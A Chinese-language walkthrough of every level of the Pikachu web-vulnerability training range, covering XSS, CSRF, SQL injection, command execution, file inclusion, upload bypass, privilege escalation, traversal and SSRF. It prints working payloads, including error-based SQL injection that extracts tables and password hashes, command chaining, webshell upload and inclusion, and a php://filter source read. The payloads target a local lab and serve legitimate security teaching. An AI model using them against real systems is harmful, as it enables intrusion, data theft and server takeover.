admin 管理员组

文章数量: 887017

pikach通关

      • 暴力破解
      • Cross-Site Scripting
        • XSS（跨站脚本）概述
        • 跨站脚本漏洞类型及测试流程
          • 跨站脚本漏洞常见类型
          • XSS漏洞形成的原因：
          • 跨站脚本漏洞测试流程
          • tips
        • 反射型XSS（get）
        • 反射型XSS（post）
        • 存储型XSS
        • DOM型XSS
        • DOM型XSS-X
      • CSRF(跨站请求伪造漏洞)
        • CSRF漏洞概述
        • 为什么会出现CSRF漏洞*
        • CSRF与XSS的区别
        • 如何确认一个web系统存在csrf漏洞
        • CSRF(GET)
        • CSRF(PSOT)
          • 构造表单
        • CSRF Token
        • CRSF漏洞常见防范措施：
      • SQL-Inject（SQL注入漏洞）
        • SQL-Inject漏洞原理概述
        • SQL Inject 漏洞攻击流程
          • 常见的注入点类型：
        • 数字型注入（post）
        • 字符型注入（get）
          • SQL Injec漏洞手工测试：基于unionl联合查询的信息获取
        • 搜索型注入
        • xx型注入
        • SQL Inject漏洞手工测试：基于报错的信息获取(select/delete/update/insert)
        • "insert/update"注入
        • "delete"注入
        • "http header"注入
      • RCE(远程命令执行/远程代码执行)
      • File Inclusion(文件包含漏洞)
        • 本地文件包含漏洞
        • 远程文件包含漏洞
        • 文件包含漏洞防范措施
      • Unsafe file downloads(不安全的文件下载)
      • Unsafe file upload(不安全的文件上传)
        • 文件上传漏洞测试流程
        • client check
        • MIME type
        • getimagesize()
      • over permission （越权漏洞）
        • 水平越权
        • 垂直越权
      • ../../(目录遍历)
      • 敏感信息泄露
      • URL跳转
      • SSRF（服务端请求伪造）
        • SSRF(curl)
        • SSRF(file_get_content)

暴力破解

Cross-Site Scripting

XSS（跨站脚本）概述
  • XSS是一种发生在Web前端的漏洞，所以其危害的对象主要是前端用户。
  • XSS漏洞可以用来进行钓鱼攻击，前端js挖矿，获取用户cookie，甚至可以结合浏览器自身的漏洞对用户主机进行远程控制等
跨站脚本漏洞类型及测试流程
跨站脚本漏洞常见类型
  • 反射型
    交互的数据一般不会被存在数据库里面，一次性，一般出现在查询类等页面。
  • 存储型
    交互的数据被存储在数据库里，永久性存储，一般出现在留言板，注册类等页面。
  • DOM型
    不与后台服务器产生数据交互，通过DOM操作前端代码 输出的时候产生的问题，一次性，也属于反射型。
XSS漏洞形成的原因：

主要原因是程序对输入和输出控制不够严格，导致“精心构造”的脚本输入后，在输出到前端时被浏览器当作有效代码解析执行而产生的危害。

跨站脚本漏洞测试流程
  1. 在目标站点找到输入点，比如查询接口，留言板等；
  2. 输入一组“特殊字符+唯一识别字符”，点击提交后，查看返回的源码，是否有做对应的处理。
  3. 通过搜索定位到唯一字符，结合唯一字符前后语法确认是否可以构造执行JS代码的条件（构造闭合）；
  4. 提交payload，成功执行则存在xss漏洞。
tips
  1. 一般查询接口易出现反射型xss，留言板易出现存储型xss。
  2. 后台可能存在过滤措施，构造的script可能会被过滤掉，从而无法生效。
  3. 通过变化不同的script，尝试绕过后台过滤机制。
反射型XSS（get）
  • 构造payload：<script>alert('xss')</script>
  • 我们发现输入时长度进行了限制，F12进行进行修改
  • 输入完整的payload
反射型XSS（post）
  • 我们点击右上角的“点一下提示”
  • 输入用户名和密码之后来到此页面，输入payload
  • 点击提交即可看到注入成功。
    两者区别：get型提交的数据会显示在url中，而post不会。
    由于前两关较简单我们直接输入payload就可以注入成功，就没有按照上述所说的流程进行特殊字符尝试，查看是否进行了过滤，然后构造新的payload。
存储型XSS
  • payload:<script>alert("xss")</script>
  • 在留言板中输入Do you love me？
    点击确定我们依然会看到出现弹窗，而且我们可以看到留言列表发现进行了存储。
  • 不仅如此，我们进行页面切换，然后再次切换回来，发现弹窗依然存在，说明我们输入的语句已经被存储起来。

    这就是存储性与反射性永久性和一次性的区别，会永久的存储在数据库中。
DOM型XSS

什么是DOM：

通过JavaScript,可以重构整个HTML文档。您可以添加、移除、改变或重排页面上的项目。要改变页面的某个东西，JavaScript就需要获得对HTML文档中所有元素进行访问的入口。这个入口，连同对HTML元素进行添加、移动、改变或移除的方法和属性，都是通过文档对象模型来获得的(DOM)所以，你可以把DOM理解为JS访问HTML的标准编程接口。DOM是纯前端的操作

  • 先输入11111进行测试
  • click me！ 后查看查看网页源码，ctrl+f搜索 what do you see 定位。

    首先你要能看懂代码，然后就可以明白我们输入框中的内容就是标注的str，我们可以在这里构造一个闭合，实现弹窗
<a href='"+str+"'>what do you see?</a>

输入框中输入：
' onclick="alert('xss')">
构造之后的完成语句：
<a href='' onclick="alert(‘xss’)">'>what do you see?</a>
输入后点击click me 后，点击 what do you see 便会弹窗了。

DOM型XSS-X


与上一关的区别就是这次是从url中获取我们输入的text参数的，这就类似反射型，其他同上，构造闭合即可。
输入框中输入：
' onclick="alert('xss')">

由于dom型是纯前端操作，比较鸡肋。

CSRF(跨站请求伪造漏洞)

CSRF漏洞概述

Cross-site request forgrey简称为"CSRF"。
在CSRF的攻击场景中攻击者会伪造一个请求（这个请求一般是一个链接）
然后欺骗目标用户进行点击，用户一旦点击这个请求，整个攻击也就完成了。
因此CSRF攻击也被称为"one click"攻击。

为什么小黑可以攻击成功呢？
条件1：xxx购物网站没有对个人信息修改的请求进行防CSRF处理，导致该请求容易被伪造。因此，我们判断一个网站是否存在CSRF漏洞，其实就是判断其对关键信息（比如密码等敏感信息）的操作（增删改）是否容易被伪造。
条件2：lucy在登录了后台的情况下，点击了小黑发送的“埋伏”链接。如果lucy不在登录状态下，或者没有点击这个恶意链接，则攻击就不会成功。

为什么会出现CSRF漏洞*

一方面，用户安全意识不足，访问不知名的url
另一方面，web没有做到准确的合法用户验证

CSRF与XSS的区别

CSRF是借用户的权限完成攻击，攻击者并没有拿到用户的权限，而XSS可以通过盗取cookie来直接获取用户权限来实施攻击。

如何确认一个web系统存在csrf漏洞

1、对目标网站增删改的地方进行标记，并观察其逻辑，判断请求是否可以被伪造

  • 例如：修改管理员账号时，并不需要验证旧密码，导致请求容易被伪造
  • 例如：对于敏感信息的修改并没有使用安全的token验证，导致请求容易被伪造

2、确认凭证的有效期（这个问题会提高CSRF被利用的概率）
虽然退出或者关闭了浏览器，但cookie仍然有效，或者session并没有过期，导致CSRF攻击变得简单。

CSRF(GET)
  • 使用提示的用户名和密码进行登录

  • 点击修改个人信息，提交并使用bp抓包

    这是我们提交的请求：
    GET /pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=%E7%94%B7&phonenum=11111111&add=%E5%8C%97%E4%BA%AC&email=222222&submit=submit
    我们并没有看到CSRF的token，说明没有防CSRF的措施。
    修改get请求，我们将phonenum修改为521521，然后补全url并发送给被攻击者
http://127.0.0.1/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=%E7%94%B7&phonenum=521521&add=%E5%8C%97%E4%BA%AC&email=222222&submit=submit

如果被攻击者此时登录状态或cookie/session没有过期，则她的信息被修改

CSRF(PSOT)
  • 同上登录后进行抓包

    post型，因为是请求体，不能在url中，所以无法再使用上述办法（即通过URL来伪造请求)进行修改。
  • 但是我们可以根据抓包所获取的信息自己构造一个表单
构造表单


代码如下：

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>csrf_post</title>
    <script>
        window.onload = function(){
            document.getElementById("postsubmit").click();
        }
    </script>
</head>
<body>
    <form action="http://localhost/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php" method="post">
        <input type="text" name="sex" value="1"><br>
        <input type="hidden" name="phonenum" value="HypeRong"><br>
        <input type="hidden" name="add" value="china"><br>
        <input type="hidden" name="email" value="hacker"><br>
        <input id="postsubmit" type="submit" name="submit" value="submit">
    </form>
</body>
</html>
CSRF Token

CSRF的主要问题是敏感操作的链接容易被伪造，那么如何让这个链接不容易被伪造？

Token的定义：Token是服务端生成的一串字符串，以作客户端进行请求的一个令牌。

当我们点击修改个人信息的时候，从url可以看出我们访问了token_get_edit.php，执行后端代码，生成token，并且发送到前端页面，通过hidden属性隐藏起来，放在表单中。

点击submit时，我们会将从后端发过来的token和我们所要提交的数据，以表单的形式一并发送到后端服务器，后端服务器会验证此token。
我们发现在get请求提交的基础上增加了Token，当我们刷新页面时Token值会发生变化，这样也就完全防止了GRSF漏洞的产生。

CRSF漏洞常见防范措施：

增加token验证（常用的做法）：
　　1、对关键操作增加token参数，token值必须随机，每次都不一样；
　　关于安全的会话管理（避免会话被利用，及时关闭登录态）
　　1、不要在客户端保存敏感信息（比如身份认证信息）；
　　2、测试直接关闭，退出时的会话过期机制；
　　3、设置会话过期机制，比如15分钟内无操作，则自动登入超时；
　　访问控制安全管理：
　　1、敏感信息的修改时需要对身份进行二次认证，比如修改账号时，需要判断旧密码；
　　2、敏感信息的修改尽量使用post，而不是get；（post的安全性比get高些）
　　3、通过http 头部中的referer来限制原页面
　　一般用在登录（防暴力破解），也可以用在其他重要信息操作的表单中（需要考虑可用性）

SQL-Inject（SQL注入漏洞）

SQL-Inject漏洞原理概述

在owasp发布的top10排行榜里，注入漏洞一直是危害排名第一的漏洞，其中注入漏洞里面首当其冲的就是数据库注入漏洞。
SQL注入漏洞主要形成的原因是在数据交互中，前端的数据传入到后台处理时，后台没有做严格的判断，导致其传入的“数据”拼接到SQL语句中，被当做SQL语句的一部分执行。从而导致数据库受损（被拖库，被删除，甚至整个服务器权限沦陷）。

SQL Inject 漏洞攻击流程
  1. 注入点探测
    自动方式：使用web漏洞扫描工具，自动进行注入点发现
    手动方式：手工构造sql inject测试语句进行注入点发现
  2. 信息收集
    通过注入点取期望得到的数据
    （1） 环境信息：数据库类型，数据库版本，操作系统版本，用户信息等
    （2）数据库信息：数据库名称，数据库表，表字段，字段内容，甚至加密的内容也可能会被破解
  3. 获取权限
    获取操作系统权限：通过数据库执行shell，上传木马
常见的注入点类型：

数字型

user_id = $id

字符型

user_id = '$id'

搜索型

text LIKE '%{$_GET['search']}%'"
数字型注入（post）
  • 随意点击一个数字，点击查询，会出现如下结果

    url中没有传参，提交方式为post。
  • 点击数字1，进行查询，并使用bp抓包
  • 全选，然后右键选择发送到Repeater，构造peyload，然后点击发送。
    payload:
1 or 1 = 1

1=1永远为true，所以将会遍历出所有用户的邮箱。

  • 点击Render，我们发现查询出了所有用户的邮箱。
字符型注入（get）
  • 随便输入，点击提交提示用户名不存在，我们可以看到url中显示了我们提交的数据，提交方式为get。

    字符型注入，我们可以猜测sql语句的大概格式
select 字段1，字段2 from 表名 where username = 'admin';
  • 构造闭合，输入admin’ or 1=1#
select 字段1，字段2 from 表名 where username = 'admin' or 1=1#';

在sql语句中，#为注释符

SQL Injec漏洞手工测试：基于unionl联合查询的信息获取

union联合查询：可以通过联合查询来查询指定的数据。
用法(我们以pikachu数据库中的member表来举例)


联合查询的字段数必须和主查询一致！！！！

主查询字段2个（id,email） 联合查询字段三个（username,pw,sex）
将会报错，如下：

但是我们是不知道字段数的，如何猜测字段数呢？
使用order by

查询


再次查询，正常报错，也就是说主查询里有两个字段。

确认字段后，我们使用联合查询。

x' union select database(),user()#

如下图，我们查询出了数据库名称和当前用户。

我们还可以查询数据库版本。

x' union select version(),4#

我们可以看到数据库版本为：5.7.26，我们输入的4也正常打印了出来。

mysql知识点：
select version(); //查询数据库版本
select database(); //查询当前的数据库名称
select user(); //查询当前登录的用户
order by x //对查询的结果进行排序，默认数字0-9，字母a-z union select //联合查询，必须与主查询的字段个数保持一致。
information_schema
在mysql中，自带的information_schema数据库里面存放了大量的重要信息。具体如下：
如果存在注入点的话，我们可以尝试对该数据库进行访问，从而获取更多的信息。
SCHEMATA表：提供了当前mysql实例中所有数据库的信息。
TABLES表：提供了表的信息（包括视图）。详细描述了某个表属于哪个 schema，表类型，表引擎，创建时间等信息。
COLUMNS表：提供了表中字段的信息。

搜索型注入
  • 输入字符k，搜索

    返回了所有含有k的用户。
select from 表名 where username like '%k%';

这种查询比get多了%号，我们同样构造闭合。

payload：k%' or 1=1#     注意or的两边要有空格，这是sql规定的语法格式，否则将报错

select from 表名 where username like '%k%' or 1=1 #%';


xx型注入
  • 查看后端源码
  • 想办法构造闭合
select id,email from member where username=('$name');

payload:   xx') or 1=1#

select id,email from member where username=('xx') or 1=1#');


SQL Inject漏洞手工测试：基于报错的信息获取(select/delete/update/insert)

技巧思路：
在mysql中使用一些指定的函数来制造报错，从而从报错信息中获取设定的信息。
select/insert/update/delete都可以使用报错来获取信息。
背景条件：
后台没有屏蔽数据库报错信息，在语法发生错误时回输出在前端。

基于报错的信息获取————三个常用的用来报错的函数
updatexml():函数是MySQL对XML文档数据进行查询和修改的XPATH函数。
extractvalue():函数也是MySQL对XML文档数据进行查询和修改的XPATH函数。
floor():MYSQL中用来取整的函数。

updatexml()
updatexml()函数作用：改变（查找并替换）XML文档中符合条件的节点的值。
语法：UPDATEXML(xml document,XPathstring,new_value)

第一个参数: filedname是String格式，为表中的字段名。
第二个参数: XPathstring (Xpath格式的字符串)。
第三个参数: new. value，String格式，替换查找到的符合条件的

Xpath定位必须是有效的，否则会发生错误
select下报错的利用演示
我们还是那字符型注入做演示，首先我们应该判断有没有报错，会不会在前端显示。我们输入单引号，发现有注入报错。

现在我们构造一个报错。

kobe' and updatexml(1,version(),0)#


但是并没有把version对应的版本号打印出来， 接下来修改payload。

kobe' and updatexml(1,concat(0x7e,version()),0)#


我们获取到了版本号，现在我们可以把version替换成任意我们想要获取的信息。

kobe' and updatexml(1,concat(0x7e,database()),0)#


我们进一步查询数据库中的表

kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#


报错返回的数据多余一行。说明报错有多行。再次进行处理。可以使用limit一次一次进行获取表名。

kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#

我们可以得到第一个表名。想要得到第二个表名只要把0改成1即可。依此类推，可以得到所有表名。

kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 1,1)),0)#


在获取表名之后，思路一样，获取列名。

kobe' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0)#


同样的依此类推，得到所有列名。在获取列名后，再来获取数据。

kobe' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#


获取了第一个用户名，再根据用户名查询密码。

kobe' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)#


获取MD5加密的密文，解密获取明文密码。

"insert/update"注入
  • 点击注册

    一样的方法判断是否有SQL注入漏洞，经过判断之后发现存在SQL漏洞。重点在于怎么构造insert的payload。

zzzz' or updatexml(1,concat(0x7e,database()),0) or '

密码随意。点击提交。

得到数据库名。思路一样把database做替换，得到想要的信息。
update与insert是一模一样的。我们先登录用户。

在这里可能会有人显示不出来信息，可以参考解决方案。 在使用pikachu的时候发现一点问题，好像是由php版本较高导致的不兼容，如图：

在这里我们打开这个路径，找到第66行，把MYSQL_ASSOC改成MYSQLI_ASSOC，保存文件，刷新网页。就可以啦。
原因：在php7中，MYSQL_ASSOC不再是一个常量，将
MYSQL_ASSOC改为MYSQLI_ASSOC，意思是mysqli的方式提取数组，而不再是mysql
（原因：mysql_fetch_arrayhan函数转为mysqli_fetch_array，参数没有修改）


这个修改就是通过update。这里就存在update漏洞。我们输入刚刚的payload。

爆出数据库名称，之后逻辑就一样了。

"delete"注入
  • 删除留言并使用bp抓包
  • 发送给repeater

    我们可以把id构成闭合。
1 or updatexml(1,concat(0x7e,database()),0)

  • 点击发送

    按照我们的期望返回了数据库名称。
    extractvalue()
    extractvalue()函数作用:从目标XML中返回包含所查询值的字符串。
    语法: ExtractValue(xm| _document, xpath. string)

第一个参数: XML document是String格式，为XML文档对象的名称,文中为Doc
第二个参数: XPath_ string (Xpath格式的字符串)

Xpath定位必须是有效的,否则会发生错误。
打开字符型注入，输入payload。

kobe' and extractvalue(0,concat(0x7e,version()))#


效果差不多，理解即可。
floor()
在字符型中输入payload得到版本号。

kobe' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#


同样进行替换我们可以得到其他你想知道的东西。

"http header"注入

RCE(远程命令执行/远程代码执行)

RCE(remote command/code execute)概述：
RCE漏洞，可以让攻击者直接向后台服务器远程注入操作系统命令或者代码，从而控制后台系统。
远程系统命令执行
一般出现这种漏洞，是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面，用户从web界面输入目标IP，提交后，后台会对该IP地址进行一次ping测试，并返回测试结果。 而，如果，设计者在完成该功能时，没有做严格的安全控制，则可能会导致攻击者通过该接口提交“意想不到”的命令，从而让后台进行执行，从而控制整个后台服务器
现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的"收获"-_-
远程代码执行
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
因此，如果需要给前端用户提供操作类的API接口，一定需要对接口输入的内容进行严格的判断，比如实施严格的白名单策略会是一个比较好的方法。
你可以通过“RCE”对应的测试栏目，来进一步的了解该漏洞。

  • 我们首先输入127.0.0.1进行ping


    乱码是因为编码方式，我们只要看到ping出东西就可以了。
  • 接下来我们输入 127.0.0.1 & ipconfig


说明这里除了可以提交目标IP地址外，还可以通过一些拼接的符号执行其他的命令。

  • 下面来到“eval”，eval函数可以把字符串当成 PHP 代码来执行。
  • 输入phpinfo(); 点击提交

    我们可以看到函数得以执行。
    那么这里学习一个php函数
    system(“”)：直接执行操作系统命令，例如system(“ipconfig”)

File Inclusion(文件包含漏洞)

文件包含漏洞概述：
在Web后台开发中，程序员往往为了提高效率以及让代码看起来更加简洁，会使用“包含”函数功能，比如把 一系列功能函数都写进function.php中，之后当某个文件需要调用的时候就直接在文件头中写上一句<?php include function.php?>就可以调用函数代码。
但有些时候，因为网站功能需求，会让前端用户选择需要包含的文件（或者在前端的功能中使用了“包含”功能），又由于开发人员没有对要包含的这个文件进行安全考虑，就导致攻击者可以通过修改包含文件的位置来让后台执行任意文件（代码）。

通过Include（）或require（）语句，可以将PHP文件的内容插入到另一个PHP文件（在服务器执行它之前）。
include和require语句是相同的，除了错误处理方面：
require会生成致命错误（E_COMPILE ERROR）并停止脚本执行
include只生成警告（E WARNING），并且脚本会继续执行

本地文件包含漏洞
  • 随便选择一个点击提交
  • 我们观察url，显示是一个文件file1.php

    按照设计这些文件都是后台自己存在的文件。但是由于这个我呢见名是前端传向后台的，也就意味着我们可以直接通过url修改这个文件。
    假设我们该后台的操作系统是win11，其中有很多固定的配置文件,我们可以多敲几个…/…/…/…/…/…/…/…/…/跳转到根目录，我们将文件名替换。
../../../../Windows/System32/drivers/etc/hosts


所有的配置文件就暴露出来了。

远程文件包含漏洞

远程文件包含漏洞形式和本地文件包含漏洞差不多，在远程包含漏洞中，攻击者可以通过访问外部地址来加载远程代码。
远程包含漏洞前提，如果使用的是include和require函数，则需要php.ini配置如下（php5.4.34）：
allow_url_fopen=on //默认打开
allow_url_include=on //默认关闭
写入一句话木马，危害极大。

  • 打开远程包含，否则无法进行靶场训练。

  • 选择一个提交，观察url

    它实际上提交的是一个目标文件的路径，我们可以改成一个远端的路径，读取远程文件。

  • 在这里我们使用pikachu提供的测试文件，yijuhua.txt

  • 将文件替换成远程路径，构造url，访问yijuhua.txt

  • 这时会自动生成一个yijuhua.php文件

  • 然后我们通过yijuhua.php构造url

    我们可以发现ipconfig执行了。

文件包含漏洞防范措施

0.在功能设计上尽量不要将文件包含函数对应的文件放给前端进行选择和操作。
1.过滤各种./. ,http:// ，https://
2.配置php.ini配置文件:
allow_ url fopen = off
Allow_ url include= off
magic quotes_ gpc=on //gpc在
3.通过白名单策略，仅允许包含运行指定的文件,其他的都禁止。

Unsafe file downloads(不安全的文件下载)

很多网站都会提供文件下载功能，即用户可以通过点击下载链接,下载到链接所对应的文件。但是，如果文件下载功能设计不当，则可能导致攻击着可以通过构造文件路径，从而获取到后台服务器上的其他的敏感文件。( 又称:任意文件下载)

  • 正常功能点击球员名字，就可以下载图片。我们以点击科比为例，右键，新建标签页打开文件


    我们可以直接修改filename的值去下载其他图片，我们还可以使用目录遍历的方式去修改链接下载敏感文件。
    防范措施：
    1.对传入的文件名进行严格的过滤和限定
    2.对文件下载的目录进行严格的限定

Unsafe file upload(不安全的文件上传)

文件上传功能在web应用系统很常见，比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后，后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等，然后将其按照设计的格式进行重命名后存储在指定的目录。 如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨，则攻击者可能会上传一些恶意的文件，比如一句话木马，从而导致后台服务器被webshell。

文件上传漏洞测试流程

1、上传文件，查看返回结果（路径，提示等）
2、尝试上传不同类型的“恶意”文件，比如xx.php文件，分析结果
3、查看html源码，看是否通过js在前端做了上传限制，想办法绕过
4、尝试使用不同方式进行绕过：黑白名单绕过/MIME类型绕过/目录0x00截断绕过等
5、猜测或者结合其他漏洞（比如敏感信息泄露等）得到木马路径，连接测试

client check
  • 我们发现只能上传图片，上传其他文件会显示上传的文件不符合要求，请重新选择。
  • 我们按下F12并打开后台源码查看

  • 发现前端对文件进行了限制，我们可以直接使用发者工具把前端的onchang函数删掉。

    再次上传，上传成功。
MIME type

MIME（多用途互联网邮件扩展类型），是设定某种扩展名的文件用一种应用程序来打开的方式类型，当该扩展文件被访问的时候，浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名，以及一些媒体文件打开方式。
每个MIME类型由两部分组成，前面是数据的大类别，例如声音audio、图像image等，后面定义具体的种类，常见的MIME类型，比如：
超文本标记语言文本.html texthtml
普通文本.txt text/plain
RTF文本.rtf application/rtf
GIF图形.gif image/gif
JPEG图形.ipeg.jpg image/jpeg

通过使用PHP的全局数组$_FILES，你可以从客户计算机向远程服务器上传文件。
第一个参数是表单的input name，第二个下标可以是"name",“type”,“size”,“tmp_name"或"error”

  • 我在这里上传了一个shell.php文件，提示如下
  • 我们使用bp抓包，并且发送到repeater，修改content-type为图片类型，点击发送

    通过http头的修改绕过了MIME type验证，之后就是访问传参，通过一句话木马控制服务器。
getimagesize()

getimagesize()：它是php提供的，通过对目标文件的16进制进行读取，通过该文件的前面几个字符串，来判断文件类型。
getmagesize()返回结果中有文件大小和文件类型。
固定的图片文件，十六进制的头部的前面的几个字符串基本上是一样的，比如说png格式的图片，所有png格式的图片前面的十六进制都是一样的。
思路：我们就是要通过伪造十六进制的头部字符串来绕过getimagesize()函数，从而达到上传的效果。

  • 那么如何制作图片马？
    我们首先桌面要有1.png和2.php，通过命令将两个合成一个ccc.png，生成的文件前面内容是1.png，后面是2.php内容。
  • 我们将ccc.png上传
  • 虽然我们绕过getimagesize()，成功上传图片，但只访问图片里面的php代码是执行不了的，下面我们需要想办法让其执行。
  • 我们结合本地文件包含漏洞，上传图片路径，注意相对路径的问题，要在前面加上unsafeupload。
    unsafeupload/uploads/2022/12/13/4115216397f2cf994ea732428763.png

over permission （越权漏洞）

越权漏洞概述
由于没有用户权限进行严格的判断，导致低权限的账号(比如普通用户)可以去完成高权限账号( 比如超级管理员)范围内的操作。
平行越权: A用户和B用户属于同一级别用户,但各自不能操作对方个人信息, A用户如果越权操作B用户的个人信息的情况称为平行越权操作
垂直越权。A用户权限高于B用户 , B用户越权操作A用户的权限的情况称为垂直越权。
越权漏洞属于逻辑漏洞,是由于权限校验的逻辑不够严谨导致。
每个应用系统其用户对应的权限是根据其业务功能划分的,而每个企业的业务又都是不一样的。
因此越权漏洞很难通过扫描工具发现出来,往往需要通过手动进行测试。

水平越权

先进行登录，提示里查看账号密码。有一个功能点击查看个人信息。

再点击按钮时，向后台提供了一个get请求。提供了当前用户的用户名，然后后台将其信息返回到前台。我们在url中把Lucy改成其他人看看能不能查到信息。

虽然登录的是lucy的账号，但是却返回了kobe的信息。

垂直越权

先登录超级管理员，去执行只有管理员才可以操作的新增账号的功能，用burp抓包。退出登录。登录普通用户，执行新增账号操作。如果成功，则存在垂直越权漏洞。

  • 登录超级管理员，添加用户，使用bp抓包
  • 将其发送到repeater，并且放包，查看数据
  • 退出登录，登录普通用户

    使用http历史记录也可查看数据包，找到登录pikachu用户的数据包。

    我们将普通用户的cookie复制（cookie就是普通用户的登录态），粘贴在重发器中所对应的cookie位置，

    现在就相当于使用普通用户登录，然后实现添加用户操作，我们点击发送
    回到页面刷新，我们看到又有一个zhnag用户。

    说明存在垂直越权漏洞。

…/…/(目录遍历)

目录遍历漏洞概述
在web功能设计中,很多时候我们会要将需要访问的文件定义成变量，从而让前端的功能便的更加灵活。 当用户发起一个前端的请求时，便会将请求的这个文件的值(比如文件名称)传递到后台，后台再执行其对应的文件。 在这个过程中，如果后台没有对前端传进来的值进行严格的安全考虑，则攻击者可能会通过“…/”这样的手段让后台打开或者执行一些其他的文件。 从而导致后台服务器上其他目录的文件结果被遍历出来，形成目录遍历漏洞。
看到这里,你可能会觉得目录遍历漏洞和不安全的文件下载，甚至文件包含漏洞有差不多的意思，是的，目录遍历漏洞形成的最主要的原因跟这两者一样，都是在功能设计中将要操作的文件使用变量的 方式传递给了后台，而又没有进行严格的安全考虑而造成的，只是出现的位置所展现的现象不一样，因此，这里还是单独拿出来定义一下。
需要区分一下的是,如果你通过不带参数的url（比如：http://xxxx/doc）列出了doc文件夹里面所有的文件，这种情况，我们成为敏感信息泄露。 而并不归为目录遍历漏洞。

  • 点击超链接
  • 实际上是向后台发送了一个文件名。我们可以修改文件名。修改成…/dir.php上级目录下的dir.php，可以发挥想象访问更多内容。

敏感信息泄露

敏感信息泄露概述
由于后台人员的疏忽或者不当的设计，导致不应该被前端用户看到的数据被轻易的访问到。 比如：
1、通过访问url下的目录，可以直接列出目录下的文件列表;
2、输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息;
3、前端的源码（html,css,js）里面包含了敏感信息，比如后台登录地址、内网接口信息、甚至账号密码等;
类似以上这些情况，我们成为敏感信息泄露。敏感信息泄露虽然一直被评为危害比较低的漏洞，但这些敏感信息往往给攻击着实施进一步的攻击提供很大的帮助,甚至“离谱”的敏感信息泄露也会直接造成严重的损失。 因此,在web应用的开发上，除了要进行安全的代码编写，也需要注意对敏感信息的合理处理。

URL跳转

不安全的url跳转问题可能发生在一切执行了url地址跳转的地方。
如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目的地,而又没有做判断的话就可能发生"跳错对象"的问题。

url跳转比较直接的危害是:
–>钓鱼,既攻击者使用漏洞方的域名(比如一个比较出名的公司域名往往会让用户放心的点击)做掩盖,而最终跳转的确实钓鱼网站。

  • 我们点击第四个链接：
  • 我看观察url发生了跳转，我们可以直接修改url，跳转到百度


    我们可以利用url重定向来构造一些恶意网站，执行跳转。

SSRF（服务端请求伪造）

概述：SSRF(Server-Side Request Forgery:服务器端请求伪造)
其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制，导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。
数据流:攻击者----->服务器---->目标地址

根据后台使用的函数的不同,对应的影响和利用方法又有不一样

PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()

如果一定要通过后台服务器远程去对用户指定(“或者预埋在前端的请求”)的地址进行资源请求,则请做好目标地址的过滤。

SSRF(curl)

在pikachu靶场中，点击蓝色的a标签后，可以看到浏览器URL中它传了一个url参数

打开后端源代码，可以看到它是从前端获取了url请求，curl_init函数会对它进行初始化，然后curl_exec函数会去执行请求，最终又将请求结果返回到前端。

我们可以通过传入一个其他的地址来演示。
在URL中传入百度的地址(www.baidu)，可以看到页面显示出了百度的数据库 (它的流程和分析的源代码流程是一样的，前端传入参数，后端通过curl_exec去请求百度，最后把请求返回的百度数据返回到前端)

为了演示，我在pikachu的test文件夹中新建了一个txt文件，内容如图片所示

接下来把这个2.txt文件的地址输入到pikachu中

http://127.0.0.1/pikachu/test/2.txt

提交这个url后，pikachu页面显示出了2.txt文件中保存的内容

这样也就意味着我们可以通过SSRF这个漏洞，对后端服务器同一个网络的其他服务器进行相关的扫描、探测,获取更多的资源，然后更进一步的进行攻击。

SSRF(file_get_content)

打开pikachu靶场，点击蓝色标签，可以看到和前面是一样的，都是通过URL上传参数到后台获取信息的

查看后端代码，它和前面的逻辑是一样的，不同的是它这里使用file_get_contents函数进行文件的读取执行，而file_get_contents函数可以对本地文件进行读取，也可以对远程文件进行读取。

我们可以像前面测试的一样，在URL中去输入百度的地址。它一样也会通过http协议去获取百度的资源

我们也可以像前面一样，去访问我们之前在pikachu保存的txt文件

接下来，比如我们想知道它后台的PHP是怎么写的，可以通过构造一个payload去获取后台的PHP源码

php://filter/read=convert.base64-encode/resource=ssrf.php

提交payload后，可以看到页面显示出了转换后的php的base64编码

然后我们可以复制获取的base64编码到相关的解码网站进行解码从而得到PHP的源码

本文标签： 靶场 详解 级别 教程 PiKachu

版权声明：本文标题：Pikachu靶场全级别通关教程详解 内容由网友自发贡献，该文观点仅代表作者本人， 转载请联系作者并注明出处：http://www.freenas.com.cn/jishu/1726804306h1031514.html， 本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容，一经查实，本站将立刻删除。